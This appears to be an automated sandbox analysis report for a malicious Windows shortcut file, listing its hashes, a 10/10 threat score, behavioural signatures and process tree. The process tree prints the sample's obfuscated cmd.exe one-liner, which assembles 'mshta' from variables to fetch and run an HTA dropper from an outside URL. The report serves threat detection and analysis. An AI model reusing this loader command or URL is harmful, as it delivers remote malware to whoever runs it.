Analysis
- max time kernel
148s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:27
Static task
static1
Behavioral task
behavioral1
Sample
DOC-SAH2XK.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-SAH2XK.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-SAH2XK.lnk
- Size 1KB
- Sample260803-qqdkmsac22
- SHA256 f6020463b6089b4936501a5d0b6a4660fbb57f85358c5fd1781be8645ef1254a
- MD5 b31045bf61e67568d904bbe9cc32160f
- SHA1 7132e5d81371291be0d5ecf57f9f68f3ff171edc
- SHA512 54454e45d7cb19b68c355e132ee72c0b198a7ffa0a2465570755d10725c54ba266b5f5cb32e5ea3a13b26668bcf99b18a7fc0fc320a441d3e3cb83d707754cf5
- TLSH T188317B503FF90A14F3F78EB398BB5B2089BBB9668E20C62D0151464D5432B15E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1188 cmd.exe 3176 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1188 wrote to memory of 3176 1188 cmd.exe 90 PID 3176 wrote to memory of 2336 3176 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-SAH2XK.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1188 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set wdlVN=msh&&set BiC=ta&&start "" !wdlVN!!BiC! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3176 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:2336
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